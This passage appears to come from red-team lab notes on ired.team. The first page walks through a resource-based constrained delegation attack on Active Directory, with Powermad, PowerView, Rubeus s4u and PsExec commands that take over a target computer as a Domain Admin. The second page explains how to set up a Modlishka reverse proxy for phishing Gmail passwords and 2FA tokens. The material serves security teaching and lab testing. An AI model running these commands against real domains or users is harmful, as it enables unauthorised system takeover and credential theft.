`msDS-AllowedToActOnBehalfOfOtherIdentity`; * We request Kerberos tickets for `FAKE01$` with ability to impersonate `offense\spotless` who is a Domain Admin; * Profit - we can now access the `c$` share of `ws01` from the computer `ws02`. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#kerberos-delegation-vs-resource-based-kerberos-delegation) Kerberos Delegation vs Resource Based Kerberos Delegation * In unconstrained and constrained Kerberos delegation, a computer/user is told what resources it can delegate authentications to; * In resource based Kerberos delegation, computers (resources) specify who they trust and who can delegate authentications to them. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#requirements) Requirements ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Target computer WS01 Admins on target computer spotless@offense.local Fake computer name FAKE01 Fake computer SID To be retrieved during attack Fake computer password 123456 Windows 2012 Domain Controller DC01 Since the attack will entail creating a new computer object on the domain, let's check if users are allowed to do it - by default, a domain member usually can add up to 10 computers to the domain. To check this, we can query the root domain object and look for property `ms-ds-machineaccountquota` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LavkxudZkK4r0WK3qOv%252F-Lavl6yaXMx88APlB94w%252FScreenshot%2520from%25202019-03-26%252020-49-58.png%3Falt%3Dmedia%26token%3Ddd579147-87fe-4a42-a899-64e57327531e&width=768&dpr=3&quality=100&sign=e8c545c8&sv=2) The attack also requires the DC to be running at least Windows 2012, so let's check if we're in the right environment: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LavkxudZkK4r0WK3qOv%252F-LavmlVr3SxRKEimZew5%252FScreenshot%2520from%25202019-03-26%252020-56-15.png%3Falt%3Dmedia%26token%3Df7c352f9-0984-4b97-8952-329656cbff0b&width=768&dpr=3&quality=100&sign=24513c0f&sv=2) Last thing to check - the target computer `WS01` object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LavkxudZkK4r0WK3qOv%252F-LavoD7ACDXRd5D_OFvx%252FScreenshot%2520from%25202019-03-26%252021-03-32.png%3Falt%3Dmedia%26token%3D43b2bee2-7414-48b4-937e-098c232a7de5&width=768&dpr=3&quality=100&sign=1770acd8&sv=2) This is the attribute the above command is referring to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LavkxudZkK4r0WK3qOv%252F-LavpQa3anMAAe6b8ySJ%252FScreenshot%2520from%25202019-03-26%252021-08-47.png%3Falt%3Dmedia%26token%3D3983f2d0-335f-4447-8498-b0dc0ebe4cac&width=768&dpr=3&quality=100&sign=bea0d314&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#creating-a-new-computer-object) Creating a new Computer Object ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's now create a new computer object for our computer `FAKE01` (as referenced earlier in the requirements table) - this is the computer that will be trusted by our target computer `WS01` later on: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-LavuSx2u0ebiaoNhiXN%252FScreenshot%2520from%25202019-03-26%252021-30-46.png%3Falt%3Dmedia%26token%3Dca512afe-e65a-4f13-937e-95bc5101e3e7&width=768&dpr=3&quality=100&sign=37d4bb51&sv=2) Checking if the computer got created and noting its SID: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lb5NxGW0LwoCPap952I%252F-Lb5P4tr_W2qUSUz6ip-%252FScreenshot%2520from%25202019-03-28%252022-25-11.png%3Falt%3Dmedia%26token%3Dfe745f23-8783-4fe2-a570-8a38c841d7b9&width=768&dpr=3&quality=100&sign=a623ac19&sv=2) Create a new raw security descriptor for the `FAKE01` computer principal: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lb5NxGW0LwoCPap952I%252F-Lb5PRIVbtYMwfENRyYs%252FScreenshot%2520from%25202019-03-28%252022-26-41.png%3Falt%3Dmedia%26token%3D672ea9e3-80c8-4c43-889e-d3959a50bb40&width=768&dpr=3&quality=100&sign=abec07f0&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-a-d-object) Modifying Target Computer's AD Object ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Applying the security descriptor bytes to the target `WS01` machine: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-Law92LgPV7tu7qNebFZ%252FScreenshot%2520from%25202019-03-26%252022-38-54.png%3Falt%3Dmedia%26token%3D3956063c-c3c1-4eb8-b4ee-2c04b4753e60&width=768&dpr=3&quality=100&sign=2b684a49&sv=2) Reminder - we were able to write this because `offense\Sandy` belongs to security group `offense\Operations`, which has full control over the target computer `WS01$` although the only important one/enough is the `WRITE` privilege: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-Law9Tf-GBhTvu_psSKM%252FScreenshot%2520from%25202019-03-26%252022-40-43.png%3Falt%3Dmedia%26token%3Dc7105b5e-f2bf-4788-a744-4841941368ac&width=768&dpr=3&quality=100&sign=b0a07eea&sv=2) If our user did not have the required privileges, you could infer that from the verbose error message: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-LawA5GmjKq6R_8lhZRi%252FScreenshot%2520from%25202019-03-26%252022-43-25.png%3Falt%3Dmedia%26token%3Defab530e-b57f-4bd3-8345-35d6453234a7&width=768&dpr=3&quality=100&sign=d4739ffc&sv=2) Once the `msDS-AllowedToActOnBehalfOfOtherIdentitity` is set, it is visible here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-Law9pd1qZk6AcKeW34x%252FScreenshot%2520from%25202019-03-26%252022-42-18.png%3Falt%3Dmedia%26token%3D97d18461-e34f-458a-a909-fc0b6ef8fa5d&width=768&dpr=3&quality=100&sign=353741b9&sv=2) Same can be seen this way: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lavpmw0JWM-xeLRCUQt%252F-Law9fRLnkKRyLRP_Avy%252FScreenshot%2520from%25202019-03-26%252022-41-34.png%3Falt%3Dmedia%26token%3Df2b05229-4c18-416d-a94e-bcbe82858ee1&width=768&dpr=3&quality=100&sign=b55f4004&sv=2) We can test if the security descriptor assigned to computer `ws01` in `msds-allowedtoactonbehalfofotheridentity` attribute refers to the `fake01$` machine: Note that the SID is referring to S-1-5-21-2552734371-813931464-1050690807-1154 which is the `fake01$` machine's SID - exactly what we want it to be: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lb5NxGW0LwoCPap952I%252F-Lb5OpZ4coo7iCwwp-rl%252FScreenshot%2520from%25202019-03-28%252022-24-04.png%3Falt%3Dmedia%26token%3D392288b6-69da-4620-8b91-b41988d69f58&width=768&dpr=3&quality=100&sign=cde70fba&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#generating-rc4-hash) Generating RC4 Hash Let's generate the RC4 hash of the password we set for the `FAKE01` computer: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LawA7a-cqS2nV1PoVhn%252F-LawAlId5_BENZRlTJdl%252FScreenshot%2520from%25202019-03-26%252022-46-25.png%3Falt%3Dmedia%26token%3D60f0911d-e5a9-4b68-80b7-6875467099af&width=768&dpr=3&quality=100&sign=f7d0028&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#impersonation) Impersonation Once we have the hash, we can now attempt to execute the attack by requesting a kerberos ticket for `fake01$` with ability to impersonate user `spotless` who is a Domain Admin: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LawGlHAKlT5Llc7qM2p%252F-LawNFiAvC3xL-Xqzn3B%252FScreenshot%2520from%25202019-03-26%252023-40-45.png%3Falt%3Dmedia%26token%3D6ad76353-fd1a-46cf-82d6-af391933c417&width=768&dpr=3&quality=100&sign=899b67d8&sv=2) Unfortunately, in my labs, I was not able to replicate the attack at first, even though according to rubeus, all the required kerberos tickets were created successfully - I could not gain remote admin on the target system `ws01`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LawGlHAKlT5Llc7qM2p%252F-LawNGr-11s5QhEnklHN%252FScreenshot%2520from%25202019-03-26%252023-40-57.png%3Falt%3Dmedia%26token%3D49fc1858-1f1d-43bf-9ae1-0bfd160702f7&width=768&dpr=3&quality=100&sign=78caa2fb&sv=2) Once again, checking kerberos tickets on the system showed that I had a TGS ticket for `spotless` for the CIFS service at `ws01.offense.local`, but the attack still did not work: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lb5JIWSTGr4HEVqF4Nu%252F-Lb5JhS4Hm2FQRBEit0Q%252FScreenshot%2520from%25202019-03-28%252022-01-23.png%3Falt%3Dmedia%26token%3D00bffef4-116a-47a4-bfd8-b5772943450d&width=768&dpr=3&quality=100&sign=9c2c9670&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#trial-and-error) Trial and Error Talking to a couple of folks who had successfully simulated this attack in their labs, we still could not figure out what the issue was. After repeating the the attack over and over and carrying out various other troubleshooting steps, I finally found what the issue was. Note how the ticket is for the SPN `cifs/ws01.offense.local` and we get access denied when attempting to access the remote admin shares of `ws01`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbId30hLzYyMS-LbuE8%252F-LbIfqQrTJ9Bd09Dr9vX%252FScreenshot%2520from%25202019-03-31%252013-16-17.png%3Falt%3Dmedia%26token%3Ddbbc71e8-5c27-47ec-b8fe-2c9fe1765d18&width=768&dpr=3&quality=100&sign=a814953d&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#computer-take-over) Computer Take Over Note, howerver if we request a ticket for SPN `cifs/ws01` - we can now access `C$` share of the `ws01` which means we have admin rights on the target system `WS01`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbId30hLzYyMS-LbuE8%252F-LbIj0EzkTsoGeBjm3x6%252FScreenshot%2520from%25202019-03-31%252013-31-17.png%3Falt%3Dmedia%26token%3D61bfe629-9eaf-4121-8b88-93449d57cce2&width=768&dpr=3&quality=100&sign=42e262ad&sv=2) To further prove we have admin rights - we can write a simple file from `ws02` to `ws01` in c:\\users\\administrator: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbId30hLzYyMS-LbuE8%252F-LbIk9cfPuxzWMgvMnX1%252FScreenshot%2520from%25202019-03-31%252013-36-35.png%3Falt%3Dmedia%26token%3Deefebe5c-6eda-422a-9a40-656c2d9c7637&width=768&dpr=3&quality=100&sign=169e425f&sv=2) Additionally, check if we can remotely execute code with our noisy friend psexec: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbId30hLzYyMS-LbuE8%252F-LbImNQWxchNw3NwZgYa%252FScreenshot%2520from%25202019-03-31%252013-44-20.png%3Falt%3Dmedia%26token%3D3edeed7e-9579-4083-bd85-478826d67f84&width=768&dpr=3&quality=100&sign=650b4515&sv=2) Note that the `offense\spotless` rights are effective only on the target system - i.e. on the system that delegated (`WS01`) another computer resource (`FAKE01`) to act on the target's (`WS01`) behalf and allow to impersonate any domain user. In other words, an attack can execute code/commands as `offense\spotless` only on the `WS01` machine and not on any other machine in the domain. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active DirectoryShenanigans Labs](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit toolsGitHub](https://github.com/Kevin-Robertson/Powermad) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation FrameworkGitHub](https://github.com/PowerShellMafia/PowerSploit) [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/www.harmj0y.net](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=396b9387&sv=2)Resource Based Constrained Delegation abuse explainedDecoder's Blog](https://decoder.cloud/2019/03/20/donkeys-guide-to-resource-based-constrained-delegation-from-standard-user-to-da/) [PreviousKerberos Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) [NextDomain Compromise via DC Print Server and Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) Last updated 4 years ago * [Overview](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#overview) * [Kerberos Delegation vs Resource Based Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#kerberos-delegation-vs-resource-based-kerberos-delegation) * [Requirements](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#requirements) * [Creating a new Computer Object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#creating-a-new-computer-object) * [Modifying Target Computer's AD Object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-a-d-object) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#execution) * [Generating RC4 Hash](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#generating-rc4-hash) * [Impersonation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#impersonation) * [Trial and Error](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#trial-and-error) * [Computer Take Over](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#computer-take-over) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#references) Copy Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local Copy Get-DomainController Copy Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity Copy import-module powermad New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose Copy Get-DomainComputer fake01 # computer SID: S-1-5-21-2552734371-813931464-1050690807-1154 Copy $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Copy Get-DomainComputer ws01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose Copy Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity' Copy (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl Copy \\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\Rubeus.exe hash /password:123456 /user:fake01 /domain:offense.local Copy \\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:cifs/ws01.offense.local /ptt Copy \\VBOXSVR\Tools\Rubeus\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:http/ws01 /altservice:cifs,host /ptt Copy \\vboxsvr\tools\PsExec.exe \\ws01 cmd --- # Phishing with Modlishka Reverse HTTP Proxy | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing.md) . This lab shows how to setup a reverse HTTP proxy `Modlishka` that can be used in phishing campaigns to steal user passwords and 2FA tokens. Modlishka makes this possible, because it sits in the middle between the website you as an attacker are impersonating and the victim (MITM) while recording all the traffic/tokens/passwords that traverse it. [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#setup) Setup ------------------------------------------------------------------------------------------------------------------------------------------- Let's start off by building a new DigitalOcean droplet, the smallest is more than enough: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFT3Wwfnnbn0J8xgzZ%252FAnnotation%25202019-06-25%2520214151.png%3Falt%3Dmedia%26token%3Db1fa7c3f-f4c5-404b-9342-8db92af453f0&width=768&dpr=3&quality=100&sign=b67e88bc&sv=2) Once logged on, install certbot and download modlishka binary itself: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFT9ga7bDsW9ghRRgY%252FAnnotation%25202019-06-25%2520214300.png%3Falt%3Dmedia%26token%3D42a4c407-1ba5-45ef-90e1-b65f97379636&width=768&dpr=3&quality=100&sign=f33acc05&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#modlishka-configuration) Modlishka Configuration ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's create a configuration file for modlishka: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTFMH3mWerGfyOEOV%252FAnnotation%25202019-06-25%2520214425.png%3Falt%3Dmedia%26token%3D88207ce2-73be-4995-bf83-ccdebc499b0b&width=768&dpr=3&quality=100&sign=efe95915&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#wildcard-certificates) Wildcard Certificates --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Important - let's generate a wildcard certificate for my domain I want my phishing victims to land on `*.redteam.me`: This will generate a challenge code as shown below: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTLunFfm_iKTxk2ex%252FAnnotation%25202019-06-25%2520214749.png%3Falt%3Dmedia%26token%3D45332bc7-e93e-4fad-a45e-53dabc5d63cf&width=768&dpr=3&quality=100&sign=f1315a9f&sv=2) We need to create a DNS TXT record in the DNS management console for redteam.me, which in my case is in Digital Ocean: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTP6nWIhABPjfkYqM%252FAnnotation%25202019-06-25%2520214849.png%3Falt%3Dmedia%26token%3D72548338-2fb0-43a3-b08b-ecafe031ff32&width=768&dpr=3&quality=100&sign=d2b67a4c&sv=2) Once the DNS TXT record is created, continue with the certificate generation: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTZBUf3IYKGYnw8A-%252FAnnotation%25202019-06-25%2520214924.png%3Falt%3Dmedia%26token%3D1fca766c-5d80-479a-808d-2844a0b96461&width=768&dpr=3&quality=100&sign=f1d33237&sv=2) Once certificates are generated, we need to convert them to a format suitable to be embedded into JSON objects: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTg4wQyv650OJ3iDA%252FAnnotation%25202019-06-25%2520215107.png%3Falt%3Dmedia%26token%3D50e5cf73-0abc-4288-bd25-6d77c18511a2&width=768&dpr=3&quality=100&sign=d30cc1c3&sv=2) Once that is done, copy over the contents of the certs into the config - `fullchain.pem` into the `cert` and `privkey.pem` into the `certKey`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTkpsH6Ip5K0TvQIt%252FAnnotation%25202019-06-25%2520215155.png%3Falt%3Dmedia%26token%3Dee1333c4-e0ba-40d1-b4a1-b843ddb18b7a&width=768&dpr=3&quality=100&sign=a72d34d9&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#more-dns-records) More DNS Records ----------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's create an A record for the root host `@` that simply points to the droplet's IP: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTp-GjlgmdT-c-g4T%252FAnnotation%25202019-06-25%2520215308.png%3Falt%3Dmedia%26token%3D33ba2e05-a684-4d78-b750-d3fa8326c68a&width=768&dpr=3&quality=100&sign=1938098&sv=2) This is very important - we need a `CNAME` record for any host/subdomain `*` pointing to `@` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFTu8I9q-pAD0c5HDZ%252FAnnotation%25202019-06-25%2520215702.png%3Falt%3Dmedia%26token%3Db739db5f-3dce-4ce1-836c-faf61f35100e&width=768&dpr=3&quality=100&sign=b807e058&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#launching-modlishka) Launching Modlishka ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- We are now ready to start the test by launching modlishka and giving it the modlishka.json config file: Below shows how by visiting a redteam.me, I get presented with contents of gmail.com - indicating that Modlishka and the MITM works. Again, it is important to call it out - we did not create any copies or templates of the targeted website - the victim is actually browsing gmail, it's just that it is being served through Modlishka where the traffic is inspected and passwords are captured: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LiFMettRbOEeU1PNch4%252F-LiFU2dkA0CS1OQJS4J5%252Fmodlishka.gif%3Falt%3Dmedia%26token%3D56f21a0e-a915-4478-9f7b-1503214d7882&width=768&dpr=3&quality=100&sign=a307abfe&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#references) References ----------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - drk1wi/Modlishka: Modlishka. Reverse Proxy.GitHub](https://github.com/drk1wi/Modlishka) [PreviousSMTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/smtp) [NextAutomating Red Team Infrastructure with Terraform](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform) Last updated 6 years ago * 